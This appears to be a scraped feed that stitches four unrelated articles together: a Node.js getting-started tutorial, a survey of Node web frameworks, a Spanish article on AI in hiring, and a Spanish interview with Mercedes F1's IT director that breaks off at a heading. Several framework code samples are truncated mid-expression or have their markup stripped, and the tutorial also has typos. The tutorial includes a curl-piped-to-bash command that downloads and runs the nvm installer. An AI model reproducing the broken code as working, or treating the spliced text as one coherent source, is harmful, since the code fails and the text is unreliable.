Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.

Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely Deno and Bun, but Node remains the standard for server-side JavaScript.

Also see: 10 JavaScript concepts you need to succeed with Node.

Getting started with Node

If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.

We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous Express server, to create more feature-rich and flexible Node.js servers. Let’s get started!

Installing Node and NPM

There are a few ways to install Node, including the installer that Node itself provides, but the recommended way is with a version manager. The most common version manager is NVM. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called nvm-windows.)

NVM can be installed with an installer or using a CLI. In the following example, we use curl:

$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash

Once you have NVM installed, installing the most recent version of Node is simple:

$ nvm install latest

The install latest command makes the latest version available. Mine is Node 24.9.0, so I activate it with:

$ nvm use 24.9.0

Anytime you need to install another version of Node, you can use nvm install and nvm use to switch between them.

You should now see Node available at your command prompt:

$ node -v

v24.9.0

When you install Node this way, the Node package manager (NPM) is also installed:

$ npm -v

11.6.0

Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.

A simple web server in Node

To start simply, we can use an example from the Node homepage. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as example.js:

const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

Open a shell in the directory where you saved the file, and run the file from your command line:

$ node example.js

Server running at http://127.0.0.1:3000/

You can now go to the browser and check it out at 127.0.0:3000, and you should see a simple greeting. Back at the terminal, press Control-C to stop the running server.

Before we go further, let’s pull apart the code.

Creating a simple HTTP server with Node

We start with the command:

const http = require(‘http’);

This is how you include a module in your code, in this case, the standard http module. (The http module ships with Node, so you don’t have to add it as a dependency.) This module provides the createServer and listen functions we’ll use later on.

You might have noted that this example used a CommonJS import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of ES Modules (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:

import http from 'http';

After we import the http module, we define a couple of values we need (hostname and port):

const hostname = '127.0.0.1';

const port = 3000;

Next, we create the server:

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});

The creatServer command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (req) and response (res) objects needed to handle HTTP requests. The req argument contains the incoming HTTP request, which in this case is ignored. The res.end method sets the response data to ‘Hello InfoWorld\n’ and tells the server that it is done creating the response.

Next, we have:

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

The server.listen function accepts three arguments. The first two are the port and hostname, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).

Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.

Node.js runs on an event loop, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.

A multi-process web server with Node

Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are a few ways to make a Node application use multiple threads for true concurrency. One of the simplest is to use the PM2 project, which lets you run the same Node application in many processes.

By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.

You can install PM2 globally like so:

$ npm install -g pm2

For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:

res.end(`Hello, InfoWorld! Handled by ${process.pid}`);

The process.pid field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:

$ pm2 start example.js -i max

That should launch several instances of the same program, as shown here:

Then, if you open multiple windows, you can see the unique ID of each instance:

An Express web server with Node

For our final example, we’ll look at setting up an Express web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally millions of libraries available. Knowing how to use it is essential for working with Node.

NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:

$ npm install express

Node should respond with something like: added 68 packages in 5s.

You will notice several directories have been added to a /node_modules directory. Those are all the dependencies needed for Express. You usually don’t have to interact with node_modules yourself, but it’s good to know that’s where things are saved.

Now look at the package.json file, which will have something like this in it:

{
  "dependencies": {
	"express": "^5.1.0"
  }
}

This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).

Setting up the Express server in Node

Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.

Since we’ve already installed Express, we can jump right into defining a server. Open the example.js file we used previously and replace the contents with this simple Express server:

import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) => {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () => {
  console.log(`Express server at http://localhost:${port}`);
});

This program does the same thing as our earlier http module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (‘/’), with the handler function.

If we wanted to add another path, it could look like this:

app.get('/about', (req, res) => {
  res.send('This is the About page.');
});

Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:

app.get('/api/user', (req, res) => {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});

That’s a simple example, but it gives you a taste of working with Express in Node.

Conclusion

In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.

Whenever you need a package to do something in Node, you will more than likely find it available on NPM. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the npms.io tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.

Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.

This article is a quick tour of the most popular web frameworks for server development on Node.js. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.

Minimalist web frameworks

When it comes to Node web frameworks, minimalist doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.

Express.js

At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.

Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:

import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) => {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id  {
  console.log(`Server running at http://localhost:${port}`);
});

You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.

If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of middleware plugins to help with essential functions like security.

Koa

Koa was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses async/await functions for middleware rather than chaining with next() calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.

Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:

router.get('/dogs/:id', (ctx) => {
  const id = parseInt(ctx.params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});

The only real difference is the combined context object.

Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:

const logger = async (ctx, next) => {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	

Fastify

Fastify lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:

const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) => {
  const id = request.params.id;

  if (id >= 0 && id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});

From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.

Hono

Hono emphasizes simplicity. You can define a server and endpoint with as little as:

const app = new Hono()
app.get('/', (c) => c.text('Hello, Infoworld!'))  

And here’s how our dog breed example looks:

app.get('/dogs/:id', (c) => {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id < dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});

As you can see, Hono provides a unified context object, similar to Koa.

Nitro.js

Nitro is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.

Also see: Intro to Nitro: The server engine built for modern JavaScript.

Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:

/api/dogs/:id

The handler might look like this:

export default defineEventHandler((event) => {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.

Batteries-included frameworks

Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.

Nest.js

Nest is a progressive framework built with TypeScript from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.

Also see: Intro to Nest.js: Server-side JavaScript development on Node.

Here is an example of injecting a dog finder provider into a controller:

// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id >= 0 && id < this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}

This style is typical of dependency injection frameworks like Angular, as well as Spring. It allows you to declare components as injectable, then consume them anywhere you need them.

In Nest, we’d just add these as modules to make them live.

Adonis.js

Like Nest, Adonis provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.

Routes in Adonis are very simple:

Route.get('/dogs/:id', [DogsController, 'show'])

In this case, DogsController would be the handler for the route, and might look something like:

import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) && id >= 0 && id < this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}

Of course, in a real application, we could define a model layer to handle the actual data access.

Sails

Sails is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (Waterline), API generation (Blueprints), and realtime support, including WebSockets.

Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:

/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};

If you run this in Sails, the framework will generate default routes and wire up a NoSQL or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.

Full-stack frameworks

Also known as meta-frameworks, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.

Next.js

Next is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.

In Next, we could define a route at pages/api/dogs/[id].js like so:

export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}

We’d then define the UI component to interact with this route at pages/dogs/[id].js:

import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return 
Dog Breed Not Found
;
  }

  return (
    

      
Dog Breed Profile
      
Breed Name: {dog.breed}
    
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;

Nuxt.js

Nuxt is the same idea as Next, but applied to the Vue front end. The basic pattern is the same, though. First, we’d define a back-end route:

// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) => {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

Then, we’d create the UI file in Vue:

// pages/dogs/[id].vue


  

    

      Loading...
    
    

      
{{ error.data.error }}
    
    

      
Dog Breed Profile
      
Breed Name: {{ dog.breed }}
    
  

SvelteKit

SvelteKit is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.

In SvelteKit, a back-end route looks like so:

// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}

SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):

// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}

The second component is the UI:

// src/routes/dogs/[id]/+page.svelte




  
Dog Breed Profile
  
Breed Name: {data.dog.breed}

Conclusion

The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.

If you are building microservices or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.

If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.

Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.

It’s also worth noting that, while Node remains the standard server-side runtime, alternatives Deno and Bun have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, Deno Fresh. Bun is respected for its ultra-fast startup and integrated tooling.

Resulta difícil encontrar un área de la empresa moderna en la que la inteligencia artificial (IA) no haya encontrado aplicación, y los procesos de selección tecnológica no son una excepción. Una encuesta de MyPerfectResume revela que el 73% de los empleadores afirma utilizar IA en las decisiones de contratación, mientras que el 52% la emplea para decisiones relacionadas con la reestructuración organizativa y la planificación de puestos.

Por otro lado, los candidatos también recurren cada vez más a estas herramientas. Según datos de SAP, el 52% de las personas que buscan empleo actualmente utiliza IA para apoyar su proceso de búsqueda, principalmente para mejorar los materiales de candidatura (85%) y prepararse para entrevistas (73%).

Jasmine Escalera, experta en carreras profesionales de Zety, plataforma especializada en orientación laboral y creación de currículums, considera que “la tecnología puede ayudar a las empresas a ser más eficientes, pero las decisiones de contratación siguen beneficiándose del criterio humano, especialmente cuando la experiencia de un candidato requiere un contexto que los sistemas automatizados de evaluación no siempre son capaces de comprender”.

Está claro que la IA ya forma parte esencial del proceso de contratación. Por ello, las organizaciones deben definir una estrategia clara sobre cómo utilizarla en el futuro, abordando cuestiones como los sesgos en la selección, la transparencia y el equilibrio adecuado entre la intervención humana y la asistencia tecnológica.

Identificar las señales de alerta

La IA promete aportar eficiencia tanto a candidatos como a empleadores, pero una excesiva dependencia de la tecnología puede generar consecuencias no deseadas. Los datos de MyPerfectResume muestran además que el 65% de los encuestados considera que la IA rechaza automáticamente a candidatos antes de que una persona llegue a revisar sus solicitudes, mientras que un 14% afirma que la IA descarta de entrada a más de la mitad de los aspirantes.

Asimismo, el 47% cree que la tecnología ha dejado fuera del proceso a candidatos que, de otro modo, habrían avanzado en la selección. Además, el 51% asegura utilizar IA para identificar perfiles considerados de riesgo, como profesionales percibidos como job hoppers —personas con frecuentes cambios de empleo— o candidatos con interrupciones en su trayectoria laboral.

Según Escalera, marcar a determinados candidatos como riesgosos y descartarlos antes de que un reclutador revise su currículum puede excluir perfiles cuya experiencia profesional cuenta una historia más compleja de lo que un algoritmo está preparado para interpretar. Por ejemplo, quienes regresan al mercado laboral tras un periodo de ausencia pueden aportar capacidades valiosas que no encajan fácilmente en los criterios automatizados de evaluación.

También preocupa que la IA descarte a profesionales que desean cambiar de sector o que cuentan con cualificaciones que no se reflejan exactamente en el lenguaje utilizado en una oferta de empleo, impidiendo que un reclutador humano llegue siquiera a revisar su candidatura.

Laurie Cure, directora ejecutiva de la consultora Innovative Connections, afirma haber observado casos en los que la IA ha eliminado a candidatos altamente cualificados, pero más nerviosos durante las entrevistas, que necesitaban más tiempo del previsto por el sistema para responder a una pregunta. También señala situaciones en las que los aspirantes utilizan un lenguaje diferente al que la IA está programada para detectar, lo que impide que sean recomendados para continuar en el proceso.

Además, ha constatado escenarios en los que la IA utiliza datos históricos para identificar patrones asociados a empleados considerados exitosos, priorizando determinadas universidades, trayectorias profesionales, antigüedad o características similares. Aunque estos elementos no constituyen necesariamente un sesgo en sí mismos, pueden perpetuar la creencia de que existe una correlación directa entre dichos factores y el rendimiento profesional, algo que a menudo no se sostiene.

Por ello, añade Cure, es esencial que las personas sigan formando parte activa de estos procesos, aportando contexto, intuición, matices y la capacidad de detectar potencial en los candidatos, algo que la IA todavía no puede replicar.

Y dice: “Creo que estamos permitiendo que la IA se convierta en el proceso, cuando debería limitarse a apoyarlo para hacer que la contratación sea mejor”.

Priorizar la precisión frente a la velocidad

Para Cure, uno de los principales problemas es que muchas organizaciones han perdido el equilibrio adecuado. En lugar de utilizar la IA como complemento al trabajo humano, la emplean para realizar la mayor parte, o incluso la totalidad, del cribado curricular.

Las empresas que implementan IA únicamente para acelerar determinadas fases del proceso, sin valorar previamente si realmente aportará beneficios, corren el riesgo de introducir sesgos no deseados.

“Esto permite gestionar grandes volúmenes de candidaturas y aporta una mayor consistencia en la aplicación de los criterios de selección, pero probablemente deja fuera a muchos buenos candidatos”, señala, para añadir: “El componente humano debe desempeñar un papel muy activo en la definición de los requisitos de los puestos para evitar que sean excesivamente restrictivos. Las organizaciones deben prestar atención a cómo instruyen a la IA para realizar su trabajo y ser cautelosas al definir los criterios de evaluación y filtrado”.

En última instancia, la IA no es una herramienta que pueda implantarse y olvidarse, ni debería contemplarse únicamente como un mecanismo para ganar eficiencia, ya que muchos procesos continúan beneficiándose —e incluso dependen— del juicio humano.

Por ello, resulta fundamental realizar auditorías periódicas de los sistemas de IA utilizados en contratación y recordar que el uso de estas tecnologías no exime a las organizaciones de sus obligaciones legales y éticas en materia de igualdad de oportunidades laborales. Esto hace que el equilibrio entre intervención humana y automatización sea aún más relevante.

Transparencia y confianza de los candidatos

La irrupción de la IA también ha introducido un factor de desconfianza en los procesos de selección. Los empleadores no siempre tienen claro hasta qué punto los candidatos han recurrido a herramientas de IA, mientras que los aspirantes desconocen en muchos casos cómo se utiliza exactamente esta tecnología durante la contratación.

Los candidatos saben que las empresas están incorporando IA a sus procesos, pero a menudo desconocen el alcance de su utilización y en qué momento pueden esperar interactuar con una persona.

“Esa falta de claridad puede generar escepticismo y frustración, especialmente en un mercado laboral que ya resulta extremadamente competitivo”, explica Escalera. A su juicio, “el objetivo no debería ser convencer a los candidatos de que la IA no se utiliza, sino ayudarles a comprender cómo la tecnología sirve de apoyo a la toma de decisiones, en lugar de sustituir el criterio humano que hay detrás de ellas”.

Como recomendación, Cure propone que las organizaciones comiencen elaborando un mapa completo de su proceso de contratación, identificando cada una de sus fases. Esto permite visualizar con claridad dónde la IA aporta valor y en qué puntos sigue siendo necesaria la intervención humana.

Las empresas pueden acabar dependiendo excesivamente de la IA o, por el contrario, dedicar recursos humanos a tareas que podrían automatizarse y destinarse a actividades de mayor valor añadido.

“Las personas aportan una comprensión más amplia de la trayectoria profesional de un candidato y tienen la capacidad de detectar cuándo alguien posee el potencial necesario para evolucionar dentro de un puesto. También son capaces de interpretar trayectorias profesionales no convencionales y motivaciones personales con mayor precisión que la IA. Por su parte, la IA aporta consistencia, eficiencia, estandarización de criterios y un nivel de objetividad beneficioso para el proceso. Si logramos combinar eficazmente ambos elementos en los puntos adecuados, la contratación sale reforzada, no debilitada”, concluye Cure.

Michael Taylor lleva 25 temporadas en el equipo Mercedes-AMG Petronas de Fórmula 1, donde ha desempeñado todas las funciones relacionadas con las tecnologías de la información, desde el apoyo en pista hasta los sistemas de ingeniería y la transformación empresarial. En la actualidad, como director de TI, dirige un equipo de 18 personas responsable de una de las operaciones con mayor volumen de datos del mundo.

Cuando un coche sale del box, lleva 300 sensores. Mientras está en marcha, genera más de un millón de puntos de datos por segundo. Cada componente, sistema y vuelta produce datos de telemetría que los ingenieros utilizan para ganar fracciones de segundo: la diferencia entre ganar y perder. “La Fórmula 1 lleva muchos años centrada en los datos. La métrica clave en nuestro deporte es el cronómetro, y así ha sido desde que comenzó el Campeonato del Mundo en la década de 1950. Pero ahora lo medimos todo. Si lo mides, puedes mejorarlo”, cuenta.

El reto no es recopilar datos —la Fórmula 1 lleva transmitiendo telemetría en directo desde la década de 1980—. Se trata de tomar decisiones a gran velocidad sin dejar de mantener el control que permite que una operación compleja y de alto riesgo siga funcionando.

Para los CIO que se enfrentan a la presión de avanzar rápidamente en materia de IA al tiempo que gestionan el riesgo, la seguridad y la calidad de los datos, las lecciones que Taylor ha aprendido a base de mucho esfuerzo en el pit lane ofrecen un marco útil: cómo equilibrar la velocidad y el control, cuándo mantener a las personas al tanto de lo que ocurre y por qué una gobernanza “suficientemente buena” es mejor que una gobernanza perfecta que nunca llega a ponerse en práctica.

Innovación frente a estabilidad: “Una batalla constante”

En la mayoría de las empresas, la tensión entre innovación y control se desarrolla a lo largo de trimestres o años. En la F1, ocurre cada semana. “Es realmente difícil. Y es algo que no siempre acertamos. Aquí es donde confiamos en las personas. La experiencia en el sector es realmente importante a la hora de tomar decisiones relacionadas con el cambio”, admite Taylor.

El equipo opera en dos modos distintos. Entre carrera y carrera, se encuentran en la fábrica de Brackley, en el Reino Unido. Las instalaciones, que son la sede central del diseño, la fabricación y el funcionamiento de sus monoplazas de Fórmula 1, ganadores de campeonatos, incluyen un campus tecnológico de 60 000 metros cuadrados. Todo gira en torno a la gestión de proyectos y programas, con margen para la experimentación. Pero a medida que se acerca el fin de semana de carrera, todo se centra en la ejecución.

“Tenemos ese modo normal cuando no estamos compitiendo. Volvemos a la fábrica para diseñar, construir y mejorar”, explica el directivo. “Pero a medida que nos acercamos al fin de semana de carrera, pasamos a ejecutar todo ello de la forma más eficaz. No debemos realizar cambios que afecten a los ingenieros”.

Esta dualidad marca todas las decisiones tecnológicas. La misma agilidad que impulsa la innovación durante la semana debe dar paso a la estabilidad cuando los resultados están en juego. Taylor lo llama una “batalla constante”.

Modernización a la velocidad de las carreras

Mercedes-AMG Petronas llevaba utilizando SAP desde 1999. La plataforma sustenta todo el proceso del equipo, desde el diseño hasta la pista: desde la aprobación del diseño, pasando por la planificación, el aprovisionamiento, la fabricación, las pruebas y el desarrollo, hasta el montaje del coche en la pista.

“Todos esos pasos son procesos fundamentales”, afirma Taylor. Por eso, cuando llegó el momento de modernizarse, el equipo lo abordó como una parada en boxes: planificado al segundo, ejecutado con precisión. Eligieron RISE with SAP —el paquete combinado de ERP en la nube y migración del proveedor—, acordaron iniciar el proceso en diciembre de 2024 y fijaron como objetivo la puesta en marcha en agosto de 2025, coincidiendo con el parón obligatorio de dos semanas del deporte.

“Es el momento perfecto para introducir cambios. Tenemos que planificarlo todo a la perfección para que todo vaya sobre ruedas cuando volvamos a competir”»”, explica.

Terminaron ocho semanas antes de lo previsto. “Somos unos obsesionados del control debido a la naturaleza de este deporte y a sus plazos estrictos”, afirma. Su equipo prefiere gestionar los sistemas de forma interna en lugar de depender de grandes integradores de sistemas que “se asoman un poco y desaparecen”. Con solo 18 personas en el equipo de TI, recurren a la experiencia de SAP para problemas específicos y, a continuación, retoman las riendas. “Una vez hecho esto, seguimos siendo los responsables y nos encargamos de la gestión”, agrega, “y SAP hace lo que mejor sabe hacer”.

El camino seguro debe ser el más fácil

La propiedad intelectual en la Fórmula 1 tiene una vida útil muy corta. En cuanto un nuevo componente se monta en el coche y se fotografía en el pit lane, los competidores pueden verlo. Pero eso no resta valor a lo que hay detrás.

“La verdadera ventaja no es solo la pieza”, afirma Taylor. “Es el razonamiento, el modelado, la simulación, los modos de fallo, las compensaciones y la dirección de desarrollo que hay detrás”.

Proteger todo eso requiere una estrategia de seguridad ofensiva. El responsable de seguridad de la información de Taylor depende directamente de él, y el equipo pone a prueba activamente sus propias defensas. “Actúa, piensa y trabaja como un hacker. Estamos pensando en cómo podemos contrarrestar las amenazas sin que ello afecte a los usuarios finales”, relata.

En una cultura que fomenta la ingeniería y en la que se da libertad a las personas para actuar con rapidez, una seguridad demasiado estricta resulta contraproducente. Taylor aprendió pronto que la perfección es enemiga del progreso. “Si la seguridad se interpone en el camino del negocio, este encontrará formas de sortearla. La tarea no consiste en ralentizar a la organización, sino en hacer que el camino seguro sea el más fácil”.

El factor humano

